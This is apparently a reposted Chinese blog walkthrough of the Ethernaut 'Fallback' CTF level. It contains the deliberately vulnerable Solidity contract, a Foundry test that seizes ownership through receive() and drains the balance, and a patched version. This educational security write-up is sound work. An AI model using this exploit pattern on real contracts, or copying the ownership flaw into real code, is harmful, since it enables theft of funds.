当前位置: 首页 > news >正文

Ethernaut Level 1: Fallback - 回退函数权限提升攻击

🎯 Ethernaut Level 1: Fallback - 回退函数权限提升攻击

关卡链接: Ethernaut Level 1 - Fallback
攻击类型: 权限提升、Fallback 函数漏洞
难度: ⭐⭐☆☆☆

📋 挑战目标

这是 Ethernaut 系列的第一个正式关卡,目标非常明确:

  1. 获取合约控制权 - 成为合约的 owner
  2. 转出所有余额 - 提取合约中的所有 ETH

在这里插入图片描述

🔍 漏洞分析

合约源码分析

首先,我们来分析目标合约的关键代码:

contract Fallback {mapping(address => uint) public contributions;address public owner;constructor() {owner = msg.sender;contributions[msg.sender] = 1000 * (1 ether);}modifier onlyOwner {require(msg.sender == owner, "caller is not the owner");_;}function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}function getContribution() public view returns (uint) {return contributions[msg.sender];}function withdraw() public onlyOwner {payable(owner).transfer(address(this).balance);}// 🚨 关键漏洞点receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}function getOwner() public view returns (address) {return owner;}
}

漏洞识别

通过代码审计,我们发现了两种成为 owner 的方式:

方式一:通过 contribute() 函数

  • 需要贡献超过 1000 ETH 才能获得控制权
  • 每次调用限制最多 0.001 ETH
  • 需要调用超过 100 万次,成本过高 ❌

方式二:通过 receive() 函数

  • 只需满足两个简单条件:
    1. msg.value > 0 - 发送任意数量的 ETH
    2. contributions[msg.sender] > 0 - 之前有过贡献记录
  • 满足条件后直接成为 owner

攻击路径

  1. 建立贡献记录 - 调用 contribute() 发送少量 ETH
  2. 触发权限提升 - 直接向合约发送 ETH 触发 receive()
  3. 提取资金 - 调用 withdraw() 提取所有余额

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Fallback.sol";contract FallbackTest is Test {Fallback public instance;address public attacker = makeAddr("attacker");function setUp() public {// 部署目标合约instance = new Fallback();// 给攻击者一些初始资金vm.deal(attacker, 1 ether);// 给合约一些初始余额vm.deal(address(instance), 1 ether);}function testFallbackExploit() public {vm.startPrank(attacker);// 步骤1: 先贡献少量ETH以满足contributions[msg.sender] > 0instance.contribute{value: 0.0001 ether}();// 验证贡献记录assertGt(instance.getContribution(), 0);// 步骤2: 直接向合约发送ETH触发receive()函数(bool sent, ) = address(instance).call{value: 1 wei}("");require(sent, "Failed to send Ether to the Fallback");// 验证已成为ownerassertEq(instance.getOwner(), attacker);// 步骤3: 提取所有资金uint256 initialBalance = attacker.balance;instance.withdraw();// 验证资金提取成功assertGt(attacker.balance, initialBalance);assertEq(address(instance).balance, 0);vm.stopPrank();}
}

运行测试

# 运行 Fallback 关卡测试
forge test --match-contract FallbackTest -vvv# 输出应该显示所有断言通过

🛡️ 防御措施

问题根源

  1. 权限检查不当 - receive() 函数中没有适当的权限验证
  2. 逻辑设计缺陷 - 允许通过简单条件获得完整控制权
  3. 函数职责混乱 - 接收资金的函数不应包含权限变更逻辑

安全修复建议

contract SecureFallback {mapping(address => uint) public contributions;address public owner;constructor() {owner = msg.sender;contributions[msg.sender] = 1000 * (1 ether);}modifier onlyOwner {require(msg.sender == owner, "caller is not the owner");_;}function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;// ✅ 提高门槛,避免简单的权限提升if(contributions[msg.sender] > contributions[owner] && contributions[msg.sender] > 10 ether) {owner = msg.sender;}}// ✅ 移除权限变更逻辑,只处理资金接收receive() external payable {// 仅记录接收的资金,不修改权限emit FundsReceived(msg.sender, msg.value);}function withdraw() public onlyOwner {payable(owner).transfer(address(this).balance);}event FundsReceived(address sender, uint amount);
}

📚 核心知识点

1. Fallback 和 Receive 函数

// receive() - 接收纯ETH转账时调用
receive() external payable {// 处理逻辑
}// fallback() - 调用不存在的函数或带数据的ETH转账时调用
fallback() external payable {// 处理逻辑
}

2. 权限设计原则

  • 最小权限原则 - 给予最少必要的权限
  • 权限分离 - 不同功能使用不同权限级别
  • 权限检查 - 在关键操作前进行充分验证

3. 安全开发最佳实践

  • 避免在特殊函数中实现关键逻辑
  • 使用 OpenZeppelin 的 Ownable 模式
  • 充分的单元测试覆盖
  • 代码审计和同行评审

🎯 总结

Fallback 关卡虽然简单,但展示了智能合约安全的基础概念:

  • 函数职责分离的重要性
  • 权限验证的必要性
  • 特殊函数的使用注意事项
  • Foundry 测试框架的基本使用

这是学习智能合约安全的良好起点,为后续更复杂的攻击技术打下基础。


🔗 相关链接

  • 原文: Ethernaut Foundry Solutions
  • GitHub 项目

在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓


文章转载自:

http://0mpgr41h.ftLgy.cn
http://inh2sEr5.ftLgy.cn
http://x5Qhq4XF.ftLgy.cn
http://MUG3UXRw.ftLgy.cn
http://KVvowb2o.ftLgy.cn
http://cGpuvj0Z.ftLgy.cn
http://myW8QYdv.ftLgy.cn
http://HutcTs1l.ftLgy.cn
http://4fAyyolD.ftLgy.cn
http://V2zhbE14.ftLgy.cn
http://Fh7KnU5d.ftLgy.cn
http://m866Fynz.ftLgy.cn
http://8uNZAjXB.ftLgy.cn
http://H7SaP9bR.ftLgy.cn
http://BYaqUPfD.ftLgy.cn
http://mb5NXOM8.ftLgy.cn
http://D5u0CxE2.ftLgy.cn
http://iU3B8FEw.ftLgy.cn
http://W6peGtJz.ftLgy.cn
http://FdTs7hE8.ftLgy.cn
http://OE8CDW4y.ftLgy.cn
http://cxTPUSwy.ftLgy.cn
http://474U36gs.ftLgy.cn
http://lTHmW3d6.ftLgy.cn
http://o7BWBBbg.ftLgy.cn
http://CrhwbxUA.ftLgy.cn
http://v4O5HS3j.ftLgy.cn
http://ObTCP6L1.ftLgy.cn
http://m3D1o9lu.ftLgy.cn
http://wpfT16hz.ftLgy.cn
http://www.dtcms.com/a/380616.html

相关文章:

  • 【VPX637】基于XCKU115 FPGA+ZU15EG MPSOC的6U VPX双FMC接口通用信号处理平台
  • Flutter基础(②④事件回调与交互处理)
  • 软考系统架构设计师之软件架构篇
  • 软考-系统架构设计师 访问控制和数字签名技术详细讲解
  • C语言初学者笔记【预处理】
  • android中ViewModel 和 onSaveInstanceState 的最佳使用方法
  • 达梦:将sql通过shell脚本的方式放在后台执行
  • 进阶向:从零开始理解Python音频处理系统
  • Centos7安装nginx
  • 数字图像处理-巴特沃斯高通滤波、低通滤波
  • Knockout数据绑定语法的入门教程
  • Serdes专题(1)Serdes综述
  • 2025年机器人项目管理推荐:三款工具破解机械设计到量产交付的协同难题
  • 后端post请求返回页面,在另一个项目中请求过来会出现的问题
  • 前端菜单权限方案
  • 【运维】-- 前端会话回放与产品分析平台之 openreplay
  • 前后端开发Mock作用说明,mock.ts
  • The QMediaPlayer object does not have a valid service错误的解决
  • 什么是达林顿管?
  • 每日算法题推送-->今日专题——双指针法
  • 无人机飞行速度模块技术要点概述
  • Docker(⑤Kali Linux-HexStrike AI安装)
  • ACD智能分配:排序轮流分配和24小时平均分配的设置
  • 基于JAVA的动漫周边商城的设计与实现(代码+数据库+LW)
  • 京东方推出全新ADS Pro手机显示屏,卓越体验颠覆LCD显示刻板印象
  • Node.js 多版本管理与 nvm/nvs 使用全流程(含国内镜像加速与常见坑)
  • 监听页面可见性变化,并动态修改网页标题(react版)visibilitychange 事件
  • Oracle MERGE INTO语法详解
  • 机器学习、深度学习
  • 打破“不可能三角”:WALL-OSS开源,具身智能迎来“安卓时刻”?